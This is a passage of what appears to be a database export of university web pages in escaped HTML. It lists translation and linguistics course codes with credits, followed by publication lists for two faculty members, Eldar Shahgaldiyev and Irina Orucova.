width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 370</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Translation of\r\n  scientific and technical texts</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 380</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Translation of Oil and Gas Materials</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 400</em></p></td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Translation of Mass Media Materials</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 410</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Proverbs. Sayings. Idioms</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 420</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Documentation\r\n  and Terminology</em></p></td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 423</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Economic translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 425</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Translation of literary texts</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 440</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Consecutive Translation and Note taking\r\n  techniques</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 450</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Social-Political Translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 460</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Oral translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 465</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Sigh translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 490</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Audio-visual translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING 421</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Sociolinguistics</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING </em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Morphology and Syntax</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING\r\n  422</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Linguistic\r\n  Analysis</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING 502</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Second Language Acquisition</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING\r\n  505</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Applied\r\n  Linguistics</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING 607</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Linguistics</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING 613</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Research Methods and writing</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING 614</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Linguistic typology </em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p></td></tr></tbody></table></div></strong>'),(926,608,'az','Nəşrlər','Nəşrlər','<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Eldar\r\nShahgaldiyev</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Textbooks\r\nand Monographs</strong>:</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">1.&nbsp;Brochure:\r\n“What Is Persona­lity?”, A Questionnaire for Conducting Sociological Surveys on\r\nMoral and Psychological Climate of Labor Units”, Baku, 1990 (in Azeri);</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">2.&nbsp;Article:\r\n“Teaching of English at the Secondary Schools - Advanced Teaching Experience in\r\nReading and Speaking”, Baku, Azerbaijan, 1990;</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">3.&nbsp;Monograph:\r\n“Content Analyses of the Notion of “Moral Psychological Climate”, “Moral\r\nPsychological Climate of the Labor Units”, Baku, Ganjlik, 1991 (in Russian);</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">4.&nbsp;Article:\r\nAbout the Content of the Notion” Moral-Psychological Climate”. Magazine of Azerbaijan&nbsp;Academy\r\nof Sciences “History, Philosophy, Law”, 1991, No 12.</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">5.&nbsp;Textbook\r\nfor the University Students: “Reading Topics and Discussions”, Baku, Khazar\r\nUniversity Press, 2007 (in English)</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">6.&nbsp;Translation\r\nand edition of the book: “The Evening Stories”, Baku, Shams, 2007 (in English);</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">7.&nbsp;Textbook\r\nfor the University students: “English for Special Purposes (ESP) for Petroleum\r\nEngineering”, Khazar Press, (under preparation).</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">8.&nbsp;Abstract\r\nand Report: “Theoretical and Practical Substantiations of the Role of Assessment\r\nin Improving Teacher Quality”, International Association for Educational\r\nAssessment, 33<sup>rd</sup>&nbsp;Annual Conference, 16-21 September 2007. Baku,\r\n2007, p.&nbsp;129</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">9.\r\nAssignments for the Students from the Bioethics. Brochure for the Medical University\r\nStudents, Baku, Azerbaijani Medical University Press, 2007</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">10.\r\nArticle:”On the Traces of Fazlullah Naimi” (by professor Camal Mustafayev)\r\n(Translated from Azerbaijani into English), Khazar Xeber, May-June, 2008. #\r\n250-252</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">11.\r\nEditor of the Textbook for the Students of Medical University “A Human Anatomy”\r\n(in English) (by Professor E. Alakbarov), Baku, 2009</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Irina\r\nOrucova</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Publications:</strong>&nbsp;<strong>Names of authored scientific articles: </strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">1.\r\n\"Teaching Translation of Official, Political and Business\r\nTexts.\"&nbsp;<em>Humanitarian</em>&nbsp;<em>Scientific</em>&nbsp;<em>Magazine.</em>(2000).\r\n</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">2. \"Functions and Meaning of Some Identical Words and Grammar Constructions\r\nin English Scientific, Official and Political Literature.\"&nbsp;<em>Humanitarian</em>&nbsp;<em>Scientific</em>&nbsp;<em>Magazine.</em>&nbsp;(2001).\r\n</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">3.\r\n\"Teaching Reading as One of the Integrated Skills.\"&nbsp;<em>Scientific\r\nNews.</em>&nbsp;(2004) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">4.\r\n\"Neologisms and Their Translation from English into Russian.\"&nbsp;<em>Scientific\r\nNews.</em>&nbsp;(2005) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">5.\r\n\"Problems of Translation of Scientific Terminology from English into\r\nRussian.\"<em>&nbsp;Research Papers.</em>(2006) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">6.\r\n\"Types of English Abbreviations and Their Translation into\r\nRussian.\"&nbsp;<em>Research Papers.</em> (2007) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">7.\r\n\"Language Idiosyncrasy of J.Salinger’s Novel <em>The Catcher in the Rye.</em>”&nbsp;<em>Research\r\nPapers.</em>&nbsp;(2008) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">8.\r\n\"Stylistic Problems of Medical Texts Translation.\"&nbsp;<em>Research\r\nPapers.</em>&nbsp;(2009) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">9.\r\n\"Stylistic Peculiarities of Syntactic Structures of the Novels by\r\nW.&nbsp;Faulkner and L.&nbsp;Tolstoy.\"&nbsp;<em>Research Papers.</em>&nbsp;(2009)\r\n</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">10.\r\n\"William Faulkner’s Style of Writing;\"&nbsp;<em>Research Papers.</em>&nbsp;(2009)\r\n</p>\r\n<p style=\"text-align: justify;\" 